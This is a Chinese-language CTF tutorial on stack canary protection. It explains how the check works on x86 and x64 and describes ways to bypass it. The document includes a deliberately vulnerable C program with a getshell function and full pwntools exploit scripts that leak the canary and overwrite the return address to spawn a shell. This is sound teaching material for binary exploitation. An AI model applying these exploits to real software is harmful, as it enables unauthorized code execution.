Canary 參考鏈接：https://ctf wiki.github.io/ctf wiki/pwn/linux/mitigation/canary zh/ 0x1 簡介： 用於防止棧溢出被利用的一種方法，原理是在棧的ebp下麵放一個隨機數，在函數返回之前會檢查這個數有沒有被修改，就可以檢測是否發 ...
Canary
參考鏈接：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
0x1 簡介：
用於防止棧溢出被利用的一種方法，原理是在棧的ebp下麵放一個隨機數，在函數返回之前會檢查這個數有沒有被修改，就可以檢測是否發生棧溢出了。
0x2 原理：
在棧底放一個隨機數，在函數返回時檢查是否被修改。具體實現如下：
x86 ：
在函數序言部分插入canary值：
mov eax,gs:0x14
mov DWORD PTR [ebp-0xc],eax在函數返回之前，會將該值取出，檢查是否修改。這個操作即為檢測是否發生棧溢出。
mov eax,DWORD PTR [ebp-0xc]
xor eax,DWORD PTR gs:0x14
je 0x80492b2 <vuln+103> # 正常函數返回
call 0x8049380 <__stack_chk_fail_local> # 調用出錯處理函數x86 棧結構大致如下：
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
ebp => +-----------------+
| ebx |
ebp-4 => +-----------------+
| unknown |
ebp-8 => +-----------------+
| canary value |
ebp-12 => +-----------------+
| 局部變數 |
Low | |
Addressx64 :
函數序言：
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax函數返回前：
mov rax,QWORD PTR [rbp-0x8]
xor rax,QWORD PTR fs:0x28
je 0x401232 <vuln+102> # 正常函數返回
call 0x401040 <__stack_chk_fail@plt> # 調用出錯處理函數x64 棧結構大致如下：
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 局部變數 |
Low | |
Address0x3 繞過
0x3.1 泄露棧中的Canary
Canary 設計為以位元組 \x00 結尾，本意是為了保證 Canary 可以截斷字元串。 泄露棧中的 Canary 的思路是覆蓋 Canary 的低位元組，來列印出剩餘的 Canary 部分。 這種利用方式需要存在合適的輸出函數，並且可能需要第一溢出泄露 Canary，之後再次溢出控制執行流程。
利用示例
源代碼如下：
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}編譯為 32bit 程式，開啟 NX，ASLR，Canary 保護,需要關閉PIE
gcc -m32 -no-pie ex2.c -o ex2-x86linux預設開啟 NX，ASLR，Canary 保護
首先通過覆蓋 Canary 最後一個 \x00 位元組來列印出 4 位的 Canary 之後，計算好偏移，將 Canary 填入到相應的溢出位置，實現 Ret 到 getshell 函數中
EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86')
get_shell = ELF("./ex2-x86").sym["getshell"] # 這裡是得到getshell函數的起始地址
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload) # 這裡使用 sendline() 會在payload後面追加一個換行符 '\n' 對應的十六進位就是0xa
io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 這裡減去0xa是為了減去上面的換行符，得到真正的 Canary
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函數地址覆蓋原來的返回地址
io.send(payload)
io.recv()
io.interactive()編譯為64位程式：
gcc -no-pie ex2.c -o ex2-x64EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64')
get_shell = ELF("./ex2-x64").sym["getshell"] # 這裡是得到getshell函數的起始地址
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100 + "A" * 4 # 這裡再加4個 A 是因為 100 模 8 是 4 ，如果不補齊 8 位，則無法覆蓋canary後面的 \x00
io.sendline(payload) # 這裡使用 sendline() 會在payload後面追加一個換行符 '\n' 對應的十六進位就是0xa
io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # 這裡減去0xa是為了減去上面的換行符，得到真正的 Canary
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函數地址覆蓋原來的返回地址
io.send(payload)
io.recv()
io.interactive()0x3.2 one-by-one 爆破 Canary
感覺用處不大，具體的可以看參考鏈接
0x3.3 劫持__stack_chk_fail 函數
已知 Canary 失敗的處理邏輯會進入到 __stack_chk_fail 函數，__stack_chk_fail 函數是一個普通的延遲綁定函數，可以通過修改 GOT 表劫持這個函數。
參見 ZCTF2017 Login，利用方式是通過 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表，再進行 ROP 利用
參考鏈接：
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html
0x3.4 覆蓋 TLS 中儲存的 Canary 值
已知 Canary 儲存在 TLS 中，在函數返回前會使用這個值進行對比。當溢出尺寸較大時，可以同時覆蓋棧上儲存的 Canary 和 TLS 儲存的 Canary 實現繞過。
參見 StarCTF2018 babystack
參考鏈接：
https://jontsang.github.io/post/34550.html
